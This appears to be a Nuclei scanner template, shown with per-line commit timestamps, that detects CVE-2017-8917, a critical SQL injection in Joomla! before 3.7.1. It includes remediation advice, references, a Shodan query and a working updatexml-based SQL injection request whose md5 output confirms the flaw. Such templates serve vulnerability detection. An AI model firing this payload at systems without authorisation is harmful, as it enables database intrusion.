2021-04-07 16:39:33 +00:00
id : CVE-2017-8917
2022-04-22 10:38:41 +00:00
2021-04-07 16:39:33 +00:00
info :
2022-09-29 13:38:41 +00:00
name : Joomla! <3.7.1 - SQL Injection
2021-04-07 16:39:33 +00:00
author : princechaddha
2021-09-10 11:26:40 +00:00
severity : critical
2022-05-12 14:04:18 +00:00
description : |
2022-09-29 13:38:41 +00:00
Joomla! before 3.7.1 contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
2023-09-06 13:22:34 +00:00
remediation : |
Upgrade Joomla! to version 3.7.1 or later to mitigate the SQL Injection vulnerability.
2022-04-22 10:38:41 +00:00
reference :
2022-05-17 09:18:12 +00:00
- https://developer.joomla.org/security-centre/692-20170501-core-sql-injection.html
2022-09-21 10:52:47 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2017-8917
2022-12-13 20:36:48 +00:00
- https://web.archive.org/web/20211207050608/http://www.securitytracker.com/id/1038522
2023-07-11 19:49:27 +00:00
- http://www.securitytracker.com/id/1038522
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2017-8917
cwe-id : CWE-89
2023-07-11 19:49:27 +00:00
epss-score : 0.97555
2023-11-16 10:31:49 +00:00
epss-percentile : 0.99995
2023-09-06 13:22:34 +00:00
cpe : cpe:2.3:a:joomla:joomla\!:3.7.0:*:*:*:*:*:*:*
2022-09-21 10:52:47 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 13:22:34 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : joomla
product : joomla\!
2023-09-06 13:22:34 +00:00
shodan-query : http.component:"Joomla"
2022-04-22 10:38:41 +00:00
tags : cve,cve2017,joomla,sqli
2022-06-30 03:33:07 +00:00
variables :
num : "999999999"
2023-04-27 04:28:59 +00:00
http :
2021-04-07 16:39:33 +00:00
- method : GET
path :
2022-06-30 03:33:07 +00:00
- "{{BaseURL}}/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,md5({{num}})),1)"
2021-04-07 16:39:33 +00:00
matchers :
- type : word
2022-05-12 14:04:18 +00:00
part : body
2021-04-07 16:39:33 +00:00
words :
2022-09-21 10:52:47 +00:00
- '{{md5(num)}}'
2023-11-16 11:25:29 +00:00
2023-12-05 09:50:33 +00:00
# digest: 4a0a00473045022100adaa3221218bcfbbdfd74f148b4a127a8876f6467b6f43b0ac717cd45f00ffc6022015d114abf831c83a639225e19167c9472c0c041a7e948be8f9890603f9c27af6:922c64590222798bb761d5b6d8e72950